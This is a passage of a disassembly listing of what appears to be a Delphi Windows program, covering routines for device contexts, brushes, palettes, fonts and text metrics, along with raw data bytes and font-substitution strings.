		call	sub_40006670	; CreateBrushIndirect
		mov	edx, [ebp+var_4]
		mov	[edx+8], eax


loc_40015326:				; CODE XREF: sub_40015270+38j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015345


loc_40015333:				; CODE XREF: sub_40015270+D3j
		mov	eax, ds:dword_4001F358
		call	sub_400148FC
		retn
; ---------------------------------------------------------------------------


loc_4001533E:				; DATA XREF: sub_40015270+26o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015333
; ---------------------------------------------------------------------------


loc_40015345:				; CODE XREF: sub_40015270+13j
					; sub_40015270+CDj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		mov	esp, ebp
		pop	ebp
		retn
sub_40015270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40015350	proc near		; CODE XREF: sub_40015600+26p
		mov	eax, [eax+10h]
		movzx	eax, byte ptr [eax+1Ch]
		retn
sub_40015350	endp


; =============== S U B	R O U T	I N E =======================================



sub_40015358	proc near		; CODE XREF: sub_400153AC+2Fp
					; sub_40015840+18p
		push	ebx
		mov	ebx, eax
		push	offset dword_4001F338
		call	sub_40006520	; RtlEnterCriticalSection
		inc	dword ptr [ebx+50h]
		push	offset dword_4001F338
		call	sub_400065E8	; RtlLeaveCriticalSection
		lea	eax, [ebx+38h]
		push	eax
		call	sub_40006520	; RtlEnterCriticalSection
		pop	ebx
		retn
sub_40015358	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40015380	proc near		; CODE XREF: sub_40015458+13p
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		movzx	edx, ds:byte_400153A8
		mov	eax, ebx
		call	sub_4001552C
		push	0
		push	edi
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066C8	; MoveToEx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40015380	endp

; ---------------------------------------------------------------------------
byte_400153A8	db 1			; DATA XREF: sub_40015380+9r
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400153AC	proc near		; CODE XREF: sub_40015794+41p

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, eax
		push	offset dword_4001F338
		call	sub_40006520	; RtlEnterCriticalSection
		xor	eax, eax
		push	ebp
		push	offset loc_400153F8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	dword ptr [ebx+50h], 0
		setz	[ebp+var_1]
		cmp	[ebp+var_1], 0
		jz	short loc_400153E0
		mov	eax, ebx
		call	sub_40015358


loc_400153E0:				; CODE XREF: sub_400153AC+2Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400153FF


loc_400153ED:				; CODE XREF: sub_400153AC+51j
		push	offset dword_4001F338
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_400153F8:				; DATA XREF: sub_400153AC+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400153ED
; ---------------------------------------------------------------------------


loc_400153FF:				; DATA XREF: sub_400153AC+3Co
		movzx	eax, [ebp+var_1]
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_400153AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015408	proc near		; CODE XREF: sub_40015794+70p
					; sub_40015840+8Ep
		push	ebx
		mov	ebx, eax
		lea	eax, [ebx+38h]
		push	eax
		call	sub_400065E8	; RtlLeaveCriticalSection
		push	offset dword_4001F338
		call	sub_40006520	; RtlEnterCriticalSection
		dec	dword ptr [ebx+50h]
		push	offset dword_4001F338
		call	sub_400065E8	; RtlLeaveCriticalSection
		pop	ebx
		retn
sub_40015408	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40015430	proc near		; CODE XREF: sub_400154D8+1Fp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		movzx	edx, ds:byte_40015454
		mov	eax, ebx
		call	sub_4001552C
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066A0	; GetCurrentPositionEx
		pop	esi
		pop	ebx
		retn
sub_40015430	endp

; ---------------------------------------------------------------------------
		align 4
byte_40015454	db 1			; DATA XREF: sub_40015430+6r
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015458	proc near		; CODE XREF: sub_400154D8+4Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	esi
		push	edi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		lea	edi, [esp+10h+var_10]
		movsd
		movsd
		mov	ecx, [esp+10h+var_C]
		mov	edx, [esp+10h+var_10]
		call	sub_40015380
		pop	ecx
		pop	edx
		pop	edi
		pop	esi
		retn
sub_40015458	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015478	proc near		; CODE XREF: sub_400154D8+16p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, [ebx+4]
		test	esi, esi
		jz	short loc_400154D0
		movzx	eax, ds:byte_400154D4
		not	eax
		and	al, [ebx+8]
		movzx	edx, byte ptr [ebx+8]
		cmp	dl, al
		jz	short loc_400154D0
		mov	eax, ds:dword_4001F310
		push	eax
		push	esi
		call	sub_400066D0	; SelectObject
		mov	eax, ds:dword_4001F314
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066D0	; SelectObject
		mov	eax, ds:dword_4001F318
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066D0	; SelectObject
		movzx	eax, ds:byte_400154D4
		not	eax
		and	al, [ebx+8]
		mov	[ebx+8], al


loc_400154D0:				; CODE XREF: sub_40015478+9j
					; sub_40015478+1Dj
		pop	esi
		pop	ebx
		retn
sub_40015478	endp

; ---------------------------------------------------------------------------
		align 4
byte_400154D4	db 0Eh			; DATA XREF: sub_40015478+Br
					; sub_40015478+49r
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400154D8	proc near		; CODE XREF: sub_40015840+66p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	eax, [ebx+4]
		cmp	esi, eax
		jz	short loc_40015527
		test	eax, eax
		jz	short loc_40015512
		mov	eax, ebx
		call	sub_40015478
		mov	edx, esp
		mov	eax, ebx
		call	sub_40015430
		mov	eax, [esp+10h+var_10]
		mov	[ebx+18h], eax
		mov	eax, [esp+10h+var_C]
		mov	[ebx+1Ch], eax
		xor	eax, eax
		mov	[ebx+4], eax
		and	byte ptr [ebx+8], 0FEh


loc_40015512:				; CODE XREF: sub_400154D8+12j
		test	esi, esi
		jz	short loc_40015527
		or	byte ptr [ebx+8], 1
		mov	[ebx+4], esi
		lea	edx, [ebx+18h]
		mov	eax, ebx
		call	sub_40015458


loc_40015527:				; CODE XREF: sub_400154D8+Ej
					; sub_400154D8+3Cj
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_400154D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4001552C	proc near		; CODE XREF: sub_40015380+12p
					; sub_40015430+Fp

var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	[esp+0Ch+var_C], dl
		mov	esi, eax
		movzx	ebx, byte ptr [esi+8]
		not	ebx
		and	bl, [esp+0Ch+var_C]
		movzx	eax, ds:byte_400155A0
		cmp	al, bl
		jz	short loc_4001559B
		test	bl, 1
		jz	short loc_40015571
		mov	eax, esi
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		cmp	dword ptr [esi+4], 0
		jnz	short loc_40015571
		mov	ecx, off_4001AF68
		mov	dl, 1
		mov	eax, ds:off_40012FE0
		call	sub_4000B0EC
		call	sub_400042E4


loc_40015571:				; CODE XREF: sub_4001552C+1Fj
					; sub_4001552C+2Cj
		test	bl, 2
		jz	short loc_4001557D
		mov	eax, esi
		call	sub_400155A4


loc_4001557D:				; CODE XREF: sub_4001552C+48j
		test	bl, 4
		jz	short loc_40015589
		mov	eax, esi
		call	sub_400155D0


loc_40015589:				; CODE XREF: sub_4001552C+54j
		test	bl, 8
		jz	short loc_40015595
		mov	eax, esi
		call	sub_40015600


loc_40015595:				; CODE XREF: sub_4001552C+60j
		or	bl, [esi+8]
		mov	[esi+8], bl


loc_4001559B:				; CODE XREF: sub_4001552C+1Aj
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4001552C	endp

; ---------------------------------------------------------------------------
		align 10h
byte_400155A0	db 0			; DATA XREF: sub_4001552C+11r
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400155A4	proc near		; CODE XREF: sub_4001552C+4Cp
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+0Ch]
		call	sub_40014F8C
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066D0	; SelectObject
		mov	eax, [ebx+0Ch]
		mov	eax, [eax+18h]
		call	sub_40014D5C
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066F8	; SetTextColor
		pop	ebx
		retn
sub_400155A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_400155D0	proc near		; CODE XREF: sub_4001552C+58p
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+10h]
		call	sub_400151D0
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066D0	; SelectObject
		mov	eax, [ebx+10h]
		movzx	eax, byte ptr [eax+18h]
		movzx	eax, word_4001AD1C[eax*2]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066F0	; SetROP2
		pop	ebx
		retn
sub_400155D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40015600	proc near		; CODE XREF: sub_4001552C+64p
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+14h]
		call	sub_40015270
		push	eax
		call	sub_40006700	; UnrealizeObject
		mov	eax, [ebx+14h]
		call	sub_40015270
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066D0	; SelectObject
		mov	eax, [ebx+14h]
		call	sub_40015350
		test	al, al
		jnz	short loc_40015653
		mov	eax, [ebx+14h]
		call	sub_40015268
		call	sub_40014D5C
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066E0	; SetBkColor
		push	2
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066E8	; SetBkMode
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40015653:				; CODE XREF: sub_40015600+2Dj
		mov	eax, [ebx+14h]
		call	sub_40015268
		call	sub_40014D5C
		not	eax
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066E0	; SetBkColor
		push	1
		mov	eax, [ebx+4]
		push	eax
		call	sub_400066E8	; SetBkMode
		pop	ebx
		retn
sub_40015600	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001567C	proc near

var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_408		= word ptr -408h
var_406		= word ptr -406h
var_404		= byte ptr -404h
var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBF8h
		push	ebx
		mov	[ebp+var_408], 300h
		mov	[ebp+var_406], 10h
		lea	edx, [ebp+var_404]
		mov	ecx, 40h
		call	sub_40002DFC
		push	0
		call	sub_40006718	; GetDC
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40015779
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	68h
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_400066A8	; GetDeviceCaps
		mov	ebx, eax
		cmp	ebx, 10h
		jl	loc_40015760
		lea	eax, [ebp+var_404]
		push	eax
		push	8
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_400066B8	; GetSystemPaletteEntries
		cmp	[ebp+var_3E8], 0C0C0C0h
		jnz	short loc_40015742
		lea	eax, [ebp+var_3E8]
		push	eax
		push	1
		mov	eax, ebx
		sub	eax, 8
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_400066B8	; GetSystemPaletteEntries
		movzx	eax, [ebp+var_406]
		lea	eax, [ebp+eax*4+var_420]
		push	eax
		push	7
		sub	ebx, 7
		push	ebx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_400066B8	; GetSystemPaletteEntries
		lea	eax, [ebp+var_3E4]
		push	eax
		push	1
		push	7
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_400066B8	; GetSystemPaletteEntries
		jmp	short loc_40015760
; ---------------------------------------------------------------------------


loc_40015742:				; CODE XREF: sub_4001567C+78j
		movzx	eax, [ebp+var_406]
		lea	eax, [ebp+eax*4+var_424]
		push	eax
		push	8
		sub	ebx, 8
		push	ebx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_400066B8	; GetSystemPaletteEntries


loc_40015760:				; CODE XREF: sub_4001567C+54j
					; sub_4001567C+C4j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015780


loc_4001576D:				; CODE XREF: sub_4001567C+102j
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_40006748	; ReleaseDC
		retn
; ---------------------------------------------------------------------------


loc_40015779:				; DATA XREF: sub_4001567C+39o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001576D
; ---------------------------------------------------------------------------


loc_40015780:				; DATA XREF: sub_4001567C+ECo
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_40006680	; CreatePalette
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4001567C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015794	proc near		; CODE XREF: sub_40015C34+3Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	eax, dword_4001AD44
		call	sub_40013AA4
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40015832
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		dec	eax
		cmp	eax, 0
		jl	short loc_4001581A
		mov	[ebp+var_4], eax


loc_400157C4:				; CODE XREF: sub_40015794+84j
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		call	sub_400137FC
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		call	sub_400153AC
		test	al, al
		jz	short loc_40015811
		xor	eax, eax
		push	ebp
		push	offset loc_4001580A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_C]
		call	sub_40015840
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015811


loc_40015801:				; CODE XREF: sub_40015794+7Bj
		mov	eax, [ebp+var_C]
		call	sub_40015408
		retn
; ---------------------------------------------------------------------------


loc_4001580A:				; DATA XREF: sub_40015794+4Do
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015801
; ---------------------------------------------------------------------------


loc_40015811:				; CODE XREF: sub_40015794+48j
					; sub_40015794+75j
					; DATA XREF: ...
		dec	[ebp+var_4]
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_400157C4


loc_4001581A:				; CODE XREF: sub_40015794+2Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015839


loc_40015827:				; CODE XREF: sub_40015794+A3j
		mov	eax, dword_4001AD44
		call	sub_40013B08
		retn
; ---------------------------------------------------------------------------


loc_40015832:				; DATA XREF: sub_40015794+16o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015827
; ---------------------------------------------------------------------------


loc_40015839:				; CODE XREF: sub_40015794+9Dj
					; DATA XREF: sub_40015794+8Eo
		mov	esp, ebp
		pop	ebp
		retn
sub_40015794	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015840	proc near		; CODE XREF: sub_40015794+5Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	loc_400158DB
		mov	eax, [ebp+var_4]
		call	sub_40015358
		xor	edx, edx
		push	ebp
		push	offset loc_400158D4
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+5Ch]
		test	eax, eax
		jz	short loc_40015882
		push	eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		push	eax
		call	sub_400066D0	; SelectObject


loc_40015882:				; CODE XREF: sub_40015840+33j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+60h]
		test	eax, eax
		jz	short loc_4001589B
		push	0FFFFFFFFh
		push	eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		push	eax
		call	sub_400066D8	; SelectPalette


loc_4001589B:				; CODE XREF: sub_40015840+4Aj
		mov	eax, [ebp+var_4]
		mov	ebx, [eax+4]
		xor	edx, edx
		mov	eax, [ebp+var_4]
		call	sub_400154D8
		push	ebx
		call	sub_40006690	; DeleteDC
		mov	edx, [ebp+var_4]
		mov	eax, dword_4001AD44
		call	sub_40013AB8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400158DB


loc_400158CB:				; CODE XREF: sub_40015840+99j
		mov	eax, [ebp+var_4]
		call	sub_40015408
		retn
; ---------------------------------------------------------------------------


loc_400158D4:				; DATA XREF: sub_40015840+20o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400158CB
; ---------------------------------------------------------------------------


loc_400158DB:				; CODE XREF: sub_40015840+Fj
					; sub_40015840+93j
					; DATA XREF: ...
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40015840	endp

; ---------------------------------------------------------------------------
		align 10h
		db  53h	; S
		db  6Ah	; j
		db    0
		db 0E8h	; è
		db  30h	; 0
		db  0Eh
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  6Ah	; j
		db  5Ah	; Z
		db  53h	; S
		db 0E8h	; è
		db 0B6h	; ¶
		db  0Dh
		db 0FFh
		db 0FFh
		db 0A3h	; £
		db  0Ch	;  OFF32 SEGDEF	[_bss,4001F30C]
		db 0F3h	; ó
		db    1
		db  40h	; @
		db  53h	; S
		db  6Ah	; j
		db    0
		db 0E8h	; è
		db  49h	; I
		db  0Eh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db  48h	; H OFF32 SEGDEF [_data,4001AD48]
		db 0ADh	; ­
		db    1
		db  40h	; @
		db 0BAh	; º
		db  0Fh
		db    0
		db    0
		db    0
		db 0E8h	; è
		db  6Eh	; n
		db 0FDh	; ý
		db 0FFh
		db 0FFh
		db 0A3h	; £
		db    4	;  OFF32 SEGDEF	[_bss,4001F304]
		db 0F3h	; ó
		db    1
		db  40h	; @
		db  5Bh	; [
		db 0C3h	; Ã
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015918	proc near		; CODE XREF: sub_40014F8C+178p

var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFC8h
		mov	bl, 1
		push	0
		call	sub_40006718	; GetDC
		mov	esi, eax
		test	esi, esi
		jz	short loc_40015954
		mov	eax, ds:dword_4001F318
		push	eax
		push	esi
		call	sub_400066D0	; SelectObject
		test	eax, eax
		jz	short loc_4001594C
		push	esp
		push	esi
		call	sub_400066C0	; GetTextMetricsA
		test	eax, eax
		jz	short loc_4001594C
		movzx	ebx, [esp+40h+var_C]


loc_4001594C:				; CODE XREF: sub_40015918+22j
					; sub_40015918+2Dj
		push	esi
		push	0
		call	sub_40006748	; ReleaseDC


loc_40015954:				; CODE XREF: sub_40015918+12j
		mov	eax, ebx
		add	esp, 38h
		pop	esi
		pop	ebx
		retn
sub_40015918	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0C4h	; Ä
		db 0F8h	; ø
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  33h	; 3
		db 0C0h	; À
		db  89h	; ‰
		db  45h	; E
		db 0FCh	; ü
		db  33h	; 3
		db 0C0h	; À
		db  55h	; U
		db  68h	; h
		db  5Fh	; _ OFF32 SEGDEF [_text,40015A5F]
		db  5Ah	; Z
		db    1
		db  40h	; @
		db  64h	; d
		db 0FFh
		db  30h	; 0
		db  64h	; d
		db  89h	; ‰
		db  20h
		db  6Ah	; j
		db  48h	; H
		db 0A1h	; ¡
		db  0Ch	;  OFF32 SEGDEF	[_bss,4001F30C]
		db 0F3h	; ó
		db    1
		db  40h	; @
		db  50h	; P
		db  6Ah	; j
		db    8
		db 0E8h	; è
		db  81h	; 
		db  0Ch
		db 0FFh
		db 0FFh
		db 0F7h	; ÷
		db 0D8h	; Ø
		db 0A3h	; £
		db 0ACh	; ¬ OFF32 SEGDEF [_data,4001AAAC]
		db 0AAh	; ª
		db    1
		db  40h	; @
		db 0A1h	; ¡
		db 0C8h	; È OFF32 SEGDEF [_data,4001B0C8]
		db 0B0h	; °
		db    1
		db  40h	; @
		db  83h	; ƒ
		db  38h	; 8
		db    1
		db  75h	; u
		db  16h
		db 0E8h	; è
		db  7Bh	; {
		db 0FFh
		db 0FFh
		db 0FFh
		db  3Ch	; <
		db  80h	; €
		db  75h	; u
		db  0Dh
		db  8Dh	; 
		db  45h	; E
		db 0FCh	; ü
		db 0BAh	; º
		db  74h	; t OFF32 SEGDEF [_text,40015A74]
		db  5Ah	; Z
		db    1
		db  40h	; @
		db 0E8h	; è
		db  6Eh	; n
		db 0EFh	; ï
		db 0FEh	; þ
		db 0FFh
		db 0B2h	; ²
		db    1
		db 0A1h	; ¡
		db  4Ch	; L OFF32 SEGDEF [_text,4001404C]
		db  40h	; @
		db    1
		db  40h	; @
		db 0E8h	; è
		db  92h	; ’
		db 0E7h	; ç
		db 0FFh
		db 0FFh
		db  89h	; ‰
		db  45h	; E
		db 0F8h	; ø
		db  33h	; 3
		db 0C0h	; À
		db  55h	; U
		db  68h	; h
		db  17h	;  OFF32 SEGDEF	[_text,40015A17]
		db  5Ah	; Z
		db    1
		db  40h	; @
		db  64h	; d
		db 0FFh
		db  30h	; 0
		db  64h	; d
		db  89h	; ‰
		db  20h
		db 0BAh	; º
		db    2
		db    0
		db    0
		db  80h	; €
		db  8Bh	; ‹
		db  45h	; E
		db 0F8h	; ø
		db 0E8h	; è
		db  14h
		db 0E8h	; è
		db 0FFh
		db 0FFh
		db 0BAh	; º
		db  84h	; „ OFF32 SEGDEF [_text,40015A84]
		db  5Ah	; Z
		db    1
		db  40h	; @
		db  8Bh	; ‹
		db  45h	; E
		db 0F8h	; ø
		db 0E8h	; è
		db  8Fh	; 
		db 0E9h	; é
		db 0FFh
		db 0FFh
		db  84h	; „
		db 0C0h	; À
		db  74h	; t
		db  18h
		db  8Dh	; 
		db  4Dh	; M
		db 0FCh	; ü
		db 0BAh	; º
		db 0CCh	; Ì OFF32 SEGDEF [_text,40015ACC]
		db  5Ah	; Z
		db    1
		db  40h	; @
		db  8Bh	; ‹
		db  45h	; E
		db 0F8h	; ø
		db 0E8h	; è
		db 0DBh	; Û
		db 0EBh	; ë
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  45h	; E
		db 0F8h	; ø
		db 0E8h	; è
		db 0BBh	; »
		db 0E7h	; ç
		db 0FFh
		db 0FFh
		db  33h	; 3
		db 0C0h	; À
		db  5Ah	; Z
		db  59h	; Y
		db  59h	; Y
		db  64h	; d
		db  89h	; ‰
		db  10h
		db  68h	; h
		db  1Eh	;  OFF32 SEGDEF	[_text,40015A1E]
		db  5Ah	; Z
		db    1
		db  40h	; @
; ---------------------------------------------------------------------------


loc_40015A0E:				; CODE XREF: .text:40015A1Cj
		mov	eax, [ebp-8]
		call	sub_40003CE8
		retn
; ---------------------------------------------------------------------------
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015A0E
; ---------------------------------------------------------------------------


loc_40015A1E:				; CODE XREF: .text:40015A16j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40015A49
		lea	eax, [ebp-108h]
		mov	edx, [ebp-4]
		mov	ecx, 0FFh
		call	sub_40004B20
		lea	edx, [ebp-108h]
		mov	eax, offset byte_4001AAB7
		mov	cl, 1Fh
		call	sub_400034F4


loc_40015A49:				; CODE XREF: .text:40015A22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015A66


loc_40015A56:				; CODE XREF: .text:40015A64j
		lea	eax, [ebp-4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015A56
; ---------------------------------------------------------------------------


loc_40015A66:				; CODE XREF: .text:40015A5Ej
					; DATA XREF: .text:40015A51o
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 6
aTahoma		db 'Tahoma',0
		align 4
		dd 0FFFFFFFFh, 3Ch
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes',0
		align 4
		dd 0FFFFFFFFh, 0Eh
		dd 5320534Dh, 6C6C6568h, 676C4420h, 3220h
off_40015ADC	dd offset dword_40015B28 ; DATA	XREF: .itext:4001933Eo
		dd 7 dup(0)
		dd offset dword_40015B28
		dd 20h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40015B70
dword_40015B28	dd 6150540Fh, 72657474h, 6E614D6Eh, 72656761h, 0D2845653h
					; DATA XREF: .text:off_40015ADCo
					; .text:40015AFCo
		dd 0C4830874h, 0E3EAE8F0h, 0DA8BFFFEh, 468DF08Bh, 8DE85008h
		dd 8BFFFF0Ah, 74DB84C6h, 0E42AE80Fh, 8F64FFFEh,	5, 0CC48300h
		dd 5B5EC68Bh, 408DC3h

; =============== S U B	R O U T	I N E =======================================



sub_40015B70	proc near		; DATA XREF: .text:40015B24o
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_40015BB4
		lea	eax, [esi+8]
		push	eax
		call	sub_40006518	; RtlDeleteCriticalSection
		test	bl, bl
		jle	short loc_40015B96
		mov	eax, esi
		call	sub_40003F80


loc_40015B96:				; CODE XREF: sub_40015B70+1Dj
		pop	esi
		pop	ebx
		retn
sub_40015B70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015B9C	proc near		; CODE XREF: sub_40015BB4+19p
		add	eax, 8
		push	eax
		call	sub_40006520	; RtlEnterCriticalSection
		retn
sub_40015B9C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015BA8	proc near		; CODE XREF: sub_40015BB4+47p
		add	eax, 8
		push	eax
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
sub_40015BA8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015BB4	proc near		; CODE XREF: sub_40015B70+Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		jmp	short loc_40015C21
; ---------------------------------------------------------------------------


loc_40015BC1:				; CODE XREF: sub_40015BB4+75j
		mov	[ebp+var_8], ebx
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		call	sub_40015B9C
		xor	eax, eax
		push	ebp
		push	offset loc_40015C01
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		mov	edx, [ebp+var_4]
		mov	[edx+4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015C08


loc_40015BF8:				; CODE XREF: sub_40015BB4+52j
		mov	eax, [ebp+var_4]
		call	sub_40015BA8
		retn
; ---------------------------------------------------------------------------


loc_40015C01:				; DATA XREF: sub_40015BB4+21o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015BF8
; ---------------------------------------------------------------------------


loc_40015C08:				; CODE XREF: sub_40015BB4+4Cj
					; DATA XREF: sub_40015BB4+3Fo
		mov	eax, [ebp+var_C]
		mov	esi, [eax+4]
		test	esi, esi
		jz	short loc_40015C19
		mov	eax, esi
		call	sub_40003CE8


loc_40015C19:				; CODE XREF: sub_40015BB4+5Cj
		mov	eax, [ebp+var_8]
		call	sub_40002C3C


loc_40015C21:				; CODE XREF: sub_40015BB4+Bj
		mov	eax, [ebp+var_4]
		mov	ebx, [eax+4]
		test	ebx, ebx
		jnz	short loc_40015BC1
